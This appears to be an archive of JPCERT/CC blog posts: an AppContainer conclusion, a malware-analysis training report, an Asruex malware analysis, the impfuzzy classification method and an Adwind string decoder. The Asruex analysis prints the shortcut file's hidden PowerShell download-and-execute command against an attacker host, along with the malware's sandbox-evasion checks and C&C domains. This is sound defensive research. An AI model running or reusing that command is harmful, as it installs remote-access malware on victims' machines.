Yet there is something to note regarding this effect. Since AppContainer is just a system to run applications (e.g. Web browsers) in an isolated environment, it cannot prevent attacks targeting information that Web browsers handle. For example, it cannot prevent actions to steal information from memory, such as password hash of proxy servers with authentication. If such information is stolen, it could be used for other attacks. We can utilise AppContainer, but we recommend that users do not rely on it too much – and make sure that basic security measures are in place, such as to avoid using a single password for multiple Web services.

Thank you for reading.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


References:

[1] FFRI - Windows 8 Security (Japanese)
  http://www.ffri.jp/assets/files/monthly_research/MR201210_Window%208_AppContainer_Sandbox.pdf

[2] Microsoft - AppContainer Isolation
  https://msdn.microsoft.com/en-us/library/windows/desktop/mt595898(v=vs.85).aspx

[3] IBM - A Peek into IE's Enhanced Protected Mode Sandbox
  https://securityintelligence.com/internet-explorer-ie-10-enhanced-protected-mode-epm-sandbox-research/

[4] Black Hat - diving into ie 10's enhanced protected mode sandbox
  https://www.blackhat.com/docs/asia-14/materials/Yason/Asia-14-Yason-Diving-Into-IE10s-Enhanced-Protected-Mode-Sandbox.pdf

Jul 29, 2016

Workshop and Training in Botswana

Dumela!

This is hello in Tswana, a widely spoken language in Botswana. I’m Moris, Katsuhiro Mori, working at Global Coordination Division of JPCERT/CC. Recently I visited Gaborone, Botswana with Sparky, my colleague and an expert of cyber security training in Africa, for joining Africa Internet Summit (AIS) 2016 held from May 29 through June 10. AIS is an annual, regional, multi-stakeholder ICT conference since 2013, which aims to bring the African Internet community, drawn from governmental institutions, public and private sectors, academia and civil society, to interact with the global Internet community on Internet development in Africa. JPCERT/CC has been joining events by the African Internet community about twice a year since 2010. Dr. Suguru Yamaguchi, who had served as one of JPCERT/CC’s board members, was a key person to start outreach activities in Africa. In the African CSIRT community, he is known for sowing the seeds of CSIRT capacity building activities in Africa. But sadly, he passed away on May 9, 2016. We would like to take over his will to enhance cyber security and create close communication with African countries, especially CSIRT communities.

Here, I would like to write about the workshop which I engaged as a trainer for the first time.

June 1st

This time, we conducted a training for AfricaCERT members on malware analysis. The curriculum consisted of malware basics, malware analysis basics, malware analysis environment setup, surface analysis methods and runtime analysis methods. These five sections are the basics of malware analysis, and JPCERT/CC’s Analysis Center also uses these methods. We hope attendees have learned a lot from this material.

TitleComponents
Malware Basics About technical terms of Malware
Malware Analysis Basics About technical terms of Malware Analysis
Malware Analysis Environment Setup Installing software and setting configuration
Surface Analysis Methods Introducing Malware tools and analyzing files using the tools
Runtime Analysis Methods Analyzing sample malware, watching network packets, registry, and process activities
Photo taken at the training
1

When I started to lecture on malware analysis environment setup, I felt it was difficult to prepare the same environment in each attendee’s device. Although what we had prepared was for Windows 7 64 bit, there were some participants with Mac OS.

Figure 1: Setting of environment using Virtualbox
2

It is very important to create malware analysis environment in a proper manner; otherwise malware may spread to another PC through the LAN or USB devices. This setup took a lot of time, so we moved to lecture on surface analysis methods, which does not require environment setup.

Basically, we started to analyze malware from surface analysis – that is, observing malware without actually running it. Sometimes we can obtain enough information from surface analysis, or in other cases, we would need to get further information from runtime analysis. We analyzed malware by using tools and searching information through the Internet.

June 2nd

Runtime analysis method is analyzing malware by executing it on a PC (with a special environment). We observed malware behavior from process, network activity and registry by using some tools. It is important that CSIRTs have malware analysis skills, especially in case of malware observed in a limited range of regions, or customized malware, since sometimes they are not yet adapted by anti-virus vendors.

After malware analysis, Sparky conducted a workshop on CyberGreen. This is a project lead by JPCERT/CC to measure and improve cyber health. We help CSIRTs focus their remediation efforts on the most important risks; to help understand where improvements can be made and how, together, we can achieve a more sustainable, secure, and resilient cyber ecosystem.

Sparky talking about CyberGreen project
3

June 3rd

There was a cerebration for CERT-FR and JPCERT/CC who have been supporting the African Internet community. JPCERT/CC, Dr. Suguru Yamaguchi and Sparky were given the “Meritorious Service Award” by AfricaCERT. AfricaCERT members talked about memories with Dr. Suguru and his contribution. I was moved by their stories. Unfortunately, I did not and will not ever have a chance to meet him, but I felt his great achievements will be alive here in Africa. I have to take over his will and support CSIRT establishment in the African region as a member of JPCERT/CC.

Sparky was given an award from Prof. Nii Quaynor
4
Certificate of achievement given for Dr. Suguru Yamaguchi
5

Thank you for reading.

- Katsuhiro Mori

Jun 30, 2016

Asruex: Malware Infecting through Shortcut Files

JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015. When this shortcut file is opened, the host will be infected with malware called “Asruex”. The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets’ network using the malware. According to a blog article by Microsoft, the malware is associated with an attacker group identified as “DarkHotel” (Microsoft calls it as "Dubnium") [1]. This blog entry will introduce the details of Asruex.

Infection Mechanism of Asruex

Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.

Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex
Asruex

For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a C&C server and then executed. The downloader then downloads Asruex from another C&C server, which is then executed. Detailed behaviour observed in each phase will be explained in the next section.

Details of the Shortcut File

When the malicious shortcut file is opened, the following PowerShell command in the file is executed.

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a                                    """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed. The batch file contains the following commands, which execute PowerShell scripts (marked in red).

echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001 
cd "%tmp%" 
start winword "article_draft.docx" 
copy "article_draft.docx" "%1" 
del /f "%1\*.*.lnk" 
echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"

When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a C&C server, saved in %TEMP% folder and then executed. Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.

Details of the Downloader

When the downloader is executed, it downloads a .jpg or .gif image file. Encoded Asruex is contained in the latter part of the image file. The downloader decodes it and then executes the malware.

Figure 2: An Image File Containing Encoded Asruex
Jpgimage

Asruex contained in the image file is encoded using XOR. The following Python script is used for decoding the encoded data of the image file. The size of the encoded data is specified in the last 4 bytes of the image file.

key = 0x1D  # Keys may vary depending on the sample
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected. Anti-virus software such as by Symantec, McAfee and Kaspersky, etc., are detected based on the process names.

Details of Asruex

Asruex is a kind of malware that communicates with the C&C server over HTTP, and executes the command received through the communication. It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine. Please refer to Appendix A for conditions which Asruex detects a virtual machine. The malware is also capable of detecting anti-virus software.

If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex. In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection). This DLL file contains the core functions of Asruex.

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

The DLL injected, or generated and loaded, sends an HTTP request to a dummy host. If it receives a reply of status code that is 100 or greater, it connects to an actual C&C server as follows:

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 –omitted- HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [host name]

Asruex operates based on the configuration information stored in itself. The configuration Information includes C&C servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered. For further details on the configuration information, please refer to Appendix B.

The configuration information is encoded. It can be decoded with the following Python code:

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // It does not necessarily double
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruex executes commands that are received from a C&C server. Commands that are possibly executed are listed in Table 1. Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from C&C servers and for executing them. AdvProv.dll is a plug-in to expand functions of Asruex.

Table 1: Commands used by Asruex
CommandFunction
1 Collect information of infected hosts
2 Obtain process list
3 Obtain file list
4 Change waiting time
5 Obtain version information
6 Uninstall
501 Obtain folder list
502 Load DLL
- Execute external DLL (AdvProv.dll)

Details of AdvProv.dll

AdvProv.dll is encrypted using XOR and 3DES. Decryption key is calculated based on the destination URL and the encoding key of the configuration information. Asruex downloads a DLL, loads it into the memory and executes DLL’s export function, Get_CommandProc. AdvProv.dll adds the following commands to Asruex:

Table 2: Asruex Commands added by AdvProv.dll
CommandFunction
101 Download
102 Copy a file
103 Change a file name
104 Change file time
105 Delete a file
106 Terminate a process
107 Search a registry
108 Show a registry entry
109 Create a registry entry
110 Show a registry entry
111 Delete a registry entry
112 Update
601 Download and execute a file

Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions. However, there may be some other versions with different functions.

Summary

Asruex is a relatively new kind of malware that has been seen since around October 2015. It is likely that targeted attacks using Asruex will continue.

Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] Microsoft - Reverse-engineering DUBNIUM
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

Appendix A: Conditions where Asurex detects an analysis environment

If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.

Table A-1: The user matches the computer name and user name as listed.

Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.

Table A-3: The listed file names are found.

Table A-4: The listed process names are running.

Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.

Table A-6: The disk name contains the listed strings.

Table A-1: Detectable Combination of Computer Name and User Name
Computer NameUser Name
BRBRB-D8FB22AF1 antonie
ANTONY-PC Antony
TEQUILABOOMBOOM janettedoe
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
HOME-OFF-D5F0AC Dave
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator

Table A-2: Detectable Functions
Functions
_SbieDll_Hook@12
_SbieApi_QueeryProcessPath@28
hook_api
New2_CreateProcessInternalW@48

Table A-3: Detectable File Names
File Names
\\.\pipe\cuckoo
[System Drive]:\cuckoo

Table A-4: Detectable Process Names
Process Names
Filemon.exe
Regmon.exe
Procmon.exe
Tcpview.exe
wireshark.exe
dumpcap.exe
regshot.exe
cports.exe
smsniff.exe
SocketSniff.exe

Table A-5: Detectable Combinations of File Version Information
FileDescriptionCompanyName
Sysinternals
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft

Table A-6: Detectable Disk Names
Disk Name
vmware
Virtual HD
MS VirtualSCSI Disk Device
Appendix B: Configuration Information
Table B-1: List of Configuration Information
OffsetLengthDescription
0x000 16 ID
0x010 4 Version Information
0x014 256 Install Path
0x114 64 * 3 Dummy URLs to connect to × 3
0x1D4 256 * 3 HTTP Access URLs × 3
0x4D4 256 Sending data store path 1
0x5D4 64 Sending data strings 1
0x614 256 Sending data store path 2
0x714 64 Sending data strings 2
0x754 64 Encode key
0x794 4 Suspension time
0x798 256 * 3 File name × 3
0xA98 4 Machine information (pointer)
0xA9C 4 Connect destination (pointer)
0xAA0 4 Not in use

Encode keys

  •  blackolive
  •  darktea
  •  12qw@#WE
Appendix C: SHA-256 Hash Value of Artifacts

Shortcut files:

  • c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  • ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  • 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  • b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
  • c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
  • ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
  • 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
  • e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  • 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe

Downloaders:

  • fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
  • dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
  • d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
  • caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  • 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
  • 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
  • 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
  • a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
  • 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
  • 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
  • a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  • 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  • 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  • 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
  • df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
  • eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
  • e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
  • 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  • 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5

Asruex:

  • 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  • a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
  • 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
  • 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
  • 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
  • 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
  • d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
  • fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
  • eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
  • 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c

AdvProv.dll

  • f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc

Others

  • 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  • e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  • 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D: Hosts that Asruex connects to
  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com

 

May 25, 2016

Classifying Malware using Import API and Fuzzy Hashing – impfuzzy –

Hello all, this is Shusei Tomonaga again.

Generally speaking, malware analysis begins with classifying whether it is known malware or not. In order to make comparison with the enormous number of known malware samples in the database in a speedy manner, hash values are used, derived by performing hash functions to the malware sample.

Among the different hash functions, traditional ones such as MD5 and SHA1 derive totally different hash values if the input data is different even by 1 bit. So this would not be useful when you have a sample that is similar to a known malware, and would like to classify it as “known”.

These days, malware used in attacks is mostly customised for each case, so it is ideal to use hash functions which can classify those samples as similar to known ones.

Therefore, fuzzy hash function (of which the hash value for modified codes is close to that of the original codes) is used if modifications are simple and mechanical, and for Windows executable file samples, imphash [1] (import hash) is used, which calculates values from PE (portable executable)’s import table.

One of the known examples of fuzzy hash is ssdeep [2].

However, there are various issues with these methods used for malware classification; hash values derived by ssdeep often do not coincide with the similarity of malware samples, while imphash derives different values once new functions are added to the malware.

This blog article proposes a new method “impfuzzy”, and demonstrates how it can accurately classify similar malware, in comparison to existing methods.

impfuzzy

The proposed method, as in imphash, calculates values from Import API, however, it also uses Fuzzy Hashing to calculate hash values of Import API, in order to supplement the shortcomings of imphash. With this process, a close value will be derived if just a part of Import API was added or modified.

Furthermore, it reduces time for calculation and enables efficient comparison by specifying the object of the hash value calculation to Import API (and not to the Fuzzy Hashing value of the whole executable file).

Implementing impfuzzy

“pyimpfuzzy”, a Python module for calculating and comparing impfuzzy, is available on GitHub (a public web service for software development projects). Feel free to download it from the following URL for your use:

JPCERTCC/aa-tools GitHub - impfuzzy

https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/

Volatility Plugin is also released on the portal, which searches for similar files based on hash values of executable files loaded from memory images by using impfuzzy.

In order to use pyimpfuzzy, the following tools need to be installed.

For this implementation, ssdeep is used as Fuzzy Hashing.

pyimpfuzzy has the following functions:

  • get_impfuzzy: calculates hash values from selected PE files
  • get_impfuzzy_data: calculates hash values from PE files in a data format
  • hash_compare: compares two hash values and returns the degree of similarity within the range of integer 0-100 (100 when same)

The similarity of the two PE files is calculated as follows:

import pyimpfuzzy
import sys

hash1 = pyimpfuzzy.get_impfuzzy(sys.argv[1])
hash2 = pyimpfuzzy.get_impfuzzy(sys.argv[2])
print "ImpFuzzy1: %s" % hash1
print "ImpFuzzy2: %s" % hash2
print "Compare: %i" % pyimpfuzzy.hash_compare(hash1, hash2)

The following result is derived when executing the above script:

Impfuzzy

Evaluation of impfuzzy

This section describes the results of an experiment of comparing, and evaluating, how the 3 different methods (proposed impfuzzy, imphash and ssdeep) are capable in classifying similar types of malware.

For the experiment, 10 different samples for 20 types of malware (200 samples in total) were prepared. For all the combinations that select two samples out of the 200, the similarities of the samples were calculated using the three methods. The two samples were classified as the same if the calculated value was 30 and larger.

For the experiment, packed samples were unpacked beforehand.

Figure 1 shows the results of the experiment.

There were no false positives detected which classified different types of malware as the same.

Figure 1: Success rates of malware type classification among impfuzzy, imphash and ssdeep
Comp_eng

*1 The threshold value for classifying the same malware type is set as 30, for impfuzzy and ssdeep

*2 ssdeep’s target of comparison is the whole executable file

The results reveal that impfuzzy is more capable of classifying the same malware type than the other two methods. For the details of the results, please see Appendix A.

This method judges the samples’ similarities based on Import API, and therefore it is clear that the identification rates are higher for samples whose malware generation tools (builders) are publicly available (e.g. Pony and ZeuS), because their Windows API rarely change. On the other hand, samples whose functions are frequently updated or changed (e.g. Emdivi) have lower rates.

For the experiment, the threshold value for impfuzzy was set as 30, however, it may detect false positives depending on the executable files. We recommend adjusting the threshold value for each executable file.

In case impfuzzy is not applied effectively

Some malware have few Import APIs.

For example, some samples called downloader use only around 5 Windows APIs. For those samples, impfuzzy may not be able to compare the hash values accurately due to the limited size of data to compare. Also, samples generated by .NET Framework have different mechanisms from applications which directly execute Windows API. Therefore, hash values for those samples cannot be calculated.

Summary

In the current situation where huge numbers of malware samples emerge day by day, it is important to efficiently classify malware samples, and identify new ones which need to be analysed. We believe that the method introduced here will be one approach to support this process.

Also, Volatility Plugin that we released together with impfuzzy, is useful for memory forensics to check malware infection.

Since this tool can calculate hash values of samples which are unpacked in the memory, it is capable of judging the similarities of the samples, even if the malware is packed.

This Plugin is available at the following URL. We will introduce this tool on this blog at another occasion.

JPCERTCC/aa-tools GitHub – impfuzzy for Volatility

https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/impfuzzy_for_Volatility

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] FireEye - Tracking Malware with Import Hashing

https://www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html

[2] Fuzzy Hashing and ssdeep

http://ssdeep.sourceforge.net/

Appendix A

Comparison of impfuzzy, imphash and ssdeep

Table 1: Malware Identification Rate
Typeimpfuzzy (%)imphash (%)ssdeep (%)
Agtid 100 35.6 26.7
BeginX Server 15.6 11.1 11.1
IXESHE 196 44.4 4.4 2.2
IXESHE 2 28.9 6.7 2.2
IXESHE 2sw 100 15.6 17.8
Daserf 35.6 4.4 4.4
Dyre 100 6.7 2.2
Fucobha 44.4 4.4 2.2
Gstatus 60 4.4 2.2
Hikit 64.4 35.6 6.7
Netwire 80 15.6 28.9
NfIpv6 24.4 4.4 4.4
Emdivi t17 37.8 0 0
Emdivi t20 4.4 0 0
plurk 15.6 6.7 11.1
Derusbi 80 8.9 8.9
Pony 95.6 15.6 0
sregister 100 11.1 15.6
Sykipot 8.9 0 2.2
ZeuS 80 35.6 35.6

*Types of malware used in this experiment are those analysed and classified by JPCERT/CC.

Decoding Obfuscated Strings in Adwind

From the latter half of 2015 to 2016, there have been an increasing number of cyber attacks worldwide using Adwind, a Remote Access Tool [1]. JPCERT/CC also received incident reports about emails with this malware in its attachment.

Adwind is malware written in Java language, and it operates in Windows and other OS as well. It has a variety of functions: to download and execute arbitrary files, send infected machine information to C&C servers and extend functions using plug-ins.

One of the characteristics of Adwind is its frequent updates. In an extreme case, an update was released merely in a two-week interval. When investigating Adwind-related incidents, it is important to correctly examine the functions of the Adwind version in use.

The challenge is, however, the strings stored within Adwind, which count up to about 500, are artfully obfuscated, and they need to be decoded in order to analyse the malware’s function. JPCERT/CC created a tool “adwind_string_decoder.py”, which efficiently decodes such obfuscated strings. This blog article describes how this tool works.

Although Adwind has multiple generations [1], this blog article and the tool created will examine the new Adwind versions which have been used in recent attacks since the latter half of 2015.

Obfuscated strings

Most of the strings that Adwind has are obfuscated as in Figure 1. The number of such strings differs depending on the Adwind’s version, but there are about 500. These strings look totally different in each Adwind version.

Figure 1: Decompiled codes containing obfuscated strings
1_obfuscated
Figure 2: Decompiled codes in another Adwind version
2_obfuscated_old

Figure 1 and Figure 2 describe codes which correspond to the same process. Both figures have line feeds inserted and are indented so that the decompiled codes can be read easier. Figure 2 is the Adwind version which was seen in mid-August 2015 and Figure 1 in late November 2015. As previously mentioned, Adwind gets updated frequently, and furthermore, the codes are obfuscated using different keys for each version.

The red-marked sections in Figure 1 and 2 indicate part of the process for collecting information to be sent to C&C servers, and contain a process for obtaining infected usernames. However, when calling the process for collecting information, the object (which is the username) is specified in the obfuscated strings. This makes it impossible to tell from the codes that the malware intends to collect infected usernames, unless they are decoded. Furthermore, it is difficult to decode the strings since the keys used for obfuscation are scattered and different for each Adwind version (as described later).

In incident analysis, damage caused by the infection and the next attack sequence can sometimes be predicted by specifying the information sent to C&C servers. From the analysis perspectives, it is important to closely examine what kind of information the malware is targeting. For this purpose, static code analysis has to be effectively conducted, and about 500 obfuscated strings for various Adwind versions need to be quickly decoded.

Analysing the string-decoding process

Generally in stream cipher, in order to encrypt data m (with a random length), usually a pseudo-random number sequence k (with the same length as m) is created using its encryption key, and an encrypted string is generated by m XOR k. By combining the XOR for m XOR k and the pseudo-random number sequence k (which is described as (m XOR k) XOR k) using XOR operation, the string is decrypted to derive the plaintext m.

Obfuscation in Adwind is conducted in a method which is similar to the abovementioned stream cypher. However, Adwind creates k in a different method, not from an encryption key. In this article, k for Adwind is referred to as an “obfuscating key”.

Codes in Adwind contain some functions which take an obfuscated string as an argument, and returns its decoded string. These functions are referred to as Fi hereafter. One thing to note here is that Fi returns different results even for the same input, if the caller method is different. This means that, in order to do static analysis and obtain the obfuscating key corresponding to a certain string, it is necessary to understand which Fi processes the strings, as well as in which method the string exists to call for Fi. The following describes what kind of obfuscating key Fi generates to process decoding.

Fi takes its caller’s method name and class name as the basis, and generates an obfuscating key by giving them a transform process derived from the following factors. This process is repeated until it gains a certain length required for a key.

Factor 1: Which comes first when concatenating the method name and class name

Factor 2: The value used in the operation for transforming the basis string to a completely different string

All Fi consist mostly of the same codes, however, only those corresponding to the above factors have different codes in each Fi. Furthermore, Factor 2 does not exist in the code as an immediate constant, and is derived through obfuscated codes including bit-operations.

Adwind contains at least 5 varieties of Fi and about 60 methods including obfuscated strings, which means that it has a combination of about 100 obfuscating keys. Although Fi consists of relatively simple codes, this number makes it fairly difficult to remove obfuscation.

Additionally, the two factors mentioned above vary in each Adwind version. Therefore, even if we create a decoding tool for a certain version of Adwind, it cannot be applied to other versions.

On the other hand, Fi has the following characteristics in common:

- Has one argument of a string object

- Is a static function that returns a decoded string as a string object

- Contains a certain API call to obtain the caller’s information

- Has limited varieties of instructions within the function

Based on the features, JPCERT/CC created a tool to automatically decode obfuscated strings using a method which does not rely on the Adwind version as much as possible.

adwind_string_decoder.py

This tool is available on GitHub. Feel free to download for your use.

JPCERTCC/aa-tools - adwind_string_decoder.py

https://github.com/JPCERTCC/aa-tools

In order to use adwind_string_decoder.py, a disassembler, javap, is required which is included in JDK (Java Development Kit). Users are required to set a path to javap, or configure so that the environment variable JAVA_HOME is pointed to the JDK folder.

adwind_string_decoder.py basically processes in the following sequence:

  1. Open the selected jar file and call a disassembler
  2. Scan all the disassembled codes, and extract functions which seem to be decoding functions from the arguments and types
  3. Judge if it really is a decoding process from the kinds of instructions and sequences that appear in the function
  4. If it is a decoding process, derive Factor 1 and 2 to generate obfuscating keys
  5. Scan all the codes again and extract parts which call for the decoding process
  6. Derive each method name and class name, and use them as the basis for obfuscating keys
  7. Generate obfuscating keys and decode the strings

Before using adwind_string_decoder.py – Unpacking Adwind

Typically, Adwind is packed, and its main jar file is hidden in the artifact’s jar file. Since adwind_string_decoder.py does not have the function to unpack Adwind, users are required to run Adwind in an analysis environment beforehand, and extract the jar image that appears in its memory. The jar image tends to disappear easily from the memory, however, it could be easier to extract it if you set a breakpoint in the API which reads the jar file, by using a Java debugger (e.g. jdb).

Executing adwind_string_decoder.py

To decode obfuscated strings, select the unpacked jar file and output file, and execute as follows:

python adwind_string_decoder.py sample.jar output.jasm

Then it outputs disassembled codes which contain decoded strings as comments, as in Figure 3.

Figure 3: Disassembled codes with some decoded strings inserted
3_decoded_disassembly

Also, if you execute without any output files, the output of the disassembled codes will be omitted, and you can output decoded strings only to the standard output, as in Figure 4.

python adwind_string_decoder.py sample.jar
Figure 4: Output of decoded strings only
4_decoded_strings

It is also possible to scan the java codes (outputs of the decompiler), and replace the function call and argument with the decoded string. This option only supports codes in Fully Qualified Name (FQN) format. For example, you can obtain the output in Figure 6 from codes as in Figure 5. Since adwind_string_decoder.py does not have a decompiling function, you need to output a file with the decompiler and store it in a folder beforehand. After selecting that folder and a new folder for outputting the decoded file, execute as follows:

python adwind_string_decoder.py sample.jar source_folder output_folder
Figure 5: Decompiled codes before decoding
5_obfuscated_code
Figure 6: Decompiled codes after decoding
6_decoded_code

Using these decoded strings, it is easy to understand what kind of information the malware intends to collect and send to C&C servers. It is also possible to find out which OS can be infected by the malware, and how the Adwind functions may differ in each OS.

Summary

Since early February 2016, attacks using these new Adwind versions have been less and less seen. This may be good news, however, it seems that there are still new samples found at the end of February 2016. We hope that the tool we introduced here would be of your help in case if you see any new versions of Adwind.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


Reference:

[1] Adwind: FAQ - Securelist

https://securelist.com/blog/research/73660/adwind-faq/

Appendix

SHA-256 Hash value of the sample

  • 033db051fc98b61dab4a290a5d802abe72930338c4a0dd4705c74eacd84578d3
  • f8f99b405c932adb0f8eb147233bfef1cf3547988be4d27efd1d6b05a8817d46